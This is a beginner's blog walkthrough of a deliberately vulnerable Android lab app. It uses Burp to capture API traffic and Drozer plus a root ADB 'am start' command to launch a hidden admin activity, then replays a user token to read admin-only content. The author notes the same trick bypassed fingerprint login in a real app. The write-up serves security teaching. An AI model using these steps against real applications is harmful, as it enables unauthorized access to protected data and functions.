Digging into Android Applications — Part 1 — Drozer + Burp

Hello, in this post I’m going to solve the first section of Andrill:

Andrill is a android mobile application interacting with a back-end API that is vulnerabile with various levels of difficulty.

Note: this post is appropriate for beginners, in the next levels of Andrill I’ll cover the Hooking techniques, SSL pin bypasses techniques and etc. However, here I will cover some simple principles and quick tests by Drozer. I’ll show how a penetration tester can list the hidden and exporeted activities from an Android application and calling them properly.

The rules

There are some rules here:

1. The test should be considered as black-box
2. please DO NOT review the source code (either NodeJS back-end or Android's Java)
3. So, only the compiled APK and the remote server are the scopes supposed to be tested.
4. The login credentials: james:james
5. The goal is capturing application traffic, Reading administrator’s note

Start the Hacking

The installation phase is easy, just following the notes, browsing the server’s IP will give the Android application:

Some initial steps:

1. Proxy the Burp between Android box and the server
2. Install Andrill APK in the Android box

Afterward, running the app will provide a login screen:

Logging in by credentials james:james will load the following screen:

Corresponding HTTP requests captured in Burp:

POST /authenticate HTTP/1.1
Content-Type: application/json
Content-Length: 39
Host: 192.168.1.8:8081
Connection: close
Accept-Encoding: gzip, deflate
User-Agent: okhttp/3.10.0
{"password":"james","username":"james"}
HTTP/1.1 200 OK
X-Powered-By: Express
Content-Type: application/json
Date: Fri, 07 Jun 2019 22:45:35 GMT
Connection: close
Content-Length: 110
{"user_id":"3","display_name":"James","login_token":"f686a930-8975-11e9-9714-d7315930c699","status":"success"}

Loading the user contents:

POST /back-end HTTP/1.1
auth_token: f686a930-8975-11e9-9714-d7315930c699
Content-Type: application/json
Content-Length: 25
Host: 192.168.1.8:8081
Connection: close
Accept-Encoding: gzip, deflate
User-Agent: okhttp/3.10.0
{"action":"get_contents"}
HTTP/1.1 200 OK
X-Powered-By: Express
Content-Type: application/json
Date: Fri, 07 Jun 2019 22:45:35 GMT
Connection: close
Content-Length: 83
{"user_contents":"This is a public note every user can see it.","status":"success"}

The app uses login_token received in the authentication response. There are two approaches in this phase:

1. Decompiling the APK and seeking the vulnerability in the source
2. Analyzing the application by Drozer

I select the second one in this walkthrough.

Drozer, GO GO GO

Drozer has several functionalities, I skip the installation and etc. Listing the devices:

>drozer console devices
List of Bound Devices
Device ID         Manufacturer         Model                 Software
9a302eb7b9185467  unknown              Samsung Galaxy S6 - 5.0.0 - API 21 - 1440x2560  5.0

Connecting to the device:

>drozer console connect
Selecting 9a302eb7b9185467 (unknown Samsung Galaxy S6 - 5.0.0 - API 21 - 1440x2560 5.0)
..                    ..:.
           ..o..                  .r..
            ..a..  . ....... .  ..nd
              ro..idsnemesisand..pr
              .otectorandroidsneme.
           .,sisandprotectorandroids+.
         ..nemesisandprotectorandroidsn:.
        .emesisandprotectorandroidsnemes..
      ..isandp,..,rotectorandro,..,idsnem.
      .isisandp..rotectorandroid..snemisis.
      ,andprotectorandroidsnemisisandprotec.
     .torandroidsnemesisandprotectorandroid.
     .snemisisandprotectorandroidsnemesisan:
     .dprotectorandroidsnemesisandprotector.
drozer Console (v2.4.4)
dz>

The following command shows the packages installed on the phone:

dz> run app.package.list
...
com.android.providers.settings (Settings Storage)
com.android.captiveportallogin (CaptivePortalLogin)
com.example.andrill_1 (Andrill-1)
...
dz>

Our Andrill application has successfully been loaded. Getting the information about the package:

dz> run app.package.info -a com.example.andrill_1
Package: com.example.andrill_1
  Application Label: Andrill-1
  Process Name: com.example.andrill_1
  Version: 1.0
  Data Directory: /data/data/com.example.andrill_1
  APK Path: /data/app/com.example.andrill_1-1/base.apk
  UID: 10064
  GID: [3003]
  Shared Libraries: null
  Shared User ID: null
  Uses Permissions:
  - android.permission.INTERNET
  Defines Permissions:
  - None

Here, I’m not going through the attack surfaces which Drozer provides, gathering all activities:

dz> run app.activity.info -a com.example.andrill_1 -i -u
Package: com.example.andrill_1
  Exported Activities:
    com.example.andrill_1.SplashScreen
      Permission: null
      Intent Filter:
        Actions:
          - android.intent.action.MAIN
        Categories:
          - android.intent.category.LAUNCHER
  Hidden Activities:
    com.example.andrill_1.LoginActivity
      Permission: null
    com.example.andrill_1.UserActivity
      Permission: null
    com.example.andrill_1.AdminActivity
      Permission: null
    com.example.andrill_1.ServerActivity
      Permission: null

As it’s seen, there are four hidden activities. the AdminActivity looks interesting. Calling the activity:

dz> run app.activity.start --component com.example.andrill_1 com.example.andrill_1.AdminActivity
Permission Denial: starting Intent { flg=0x10000000 cmp=com.example.andrill_1/.AdminActivity (has extras) } from ProcessRecord{37c6394b 2473:com.mwr.dz:remote/u0a65} (pid=2473, uid=10065) not exported from uid 10064

Since the activity is not exported, Drozer cannot call the activity. However, from a root ADB shell will succeed the calling:

127|root@vbox86p:/ # am start -n com.example.andrill_1/.AdminActivity
Starting: Intent { cmp=com.example.andrill_1/.AdminActivity }

Just after the command above, the Burp intercepts a request:

POST /back-end HTTP/1.1
Content-Type: application/json
Content-Length: 29
Host: 192.168.1.8:8081
Connection: close
Accept-Encoding: gzip, deflate
User-Agent: okhttp/3.10.0
{"action":"get_admin_secret"}

Results in:

HTTP/1.1 200 OK
X-Powered-By: Express
Content-Type: application/json
Date: Fri, 07 Jun 2019 22:52:54 GMT
Connection: close
Content-Length: 58
{"reason":"Invalid token was provided.","status":"failed"}

Adding the authentication token:

POST /back-end HTTP/1.1
Content-Type: application/json
auth_token: f686a930-8975-11e9-9714-d7315930c699
Content-Length: 29
Host: 192.168.1.8:8081
Connection: close
Accept-Encoding: gzip, deflate
User-Agent: okhttp/3.10.0
{"action":"get_admin_secret"}

The result:

HTTP/1.1 200 OK
X-Powered-By: Express
Content-Type: application/json
Date: Fri, 07 Jun 2019 22:58:52 GMT
Connection: close
Content-Length: 72
{"admin_contents":"Admins secret contents revealed.","status":"success"}

This part is done, I’ve seen some important and commercial applications suffered by the flaw mentioned. In a case, an internet mobile application had a finger touch authentication, although the activities could be called by the method mentioned, So I could bypass the local authentication. Please feel free to leave comments and make proposals for the Andrill levels.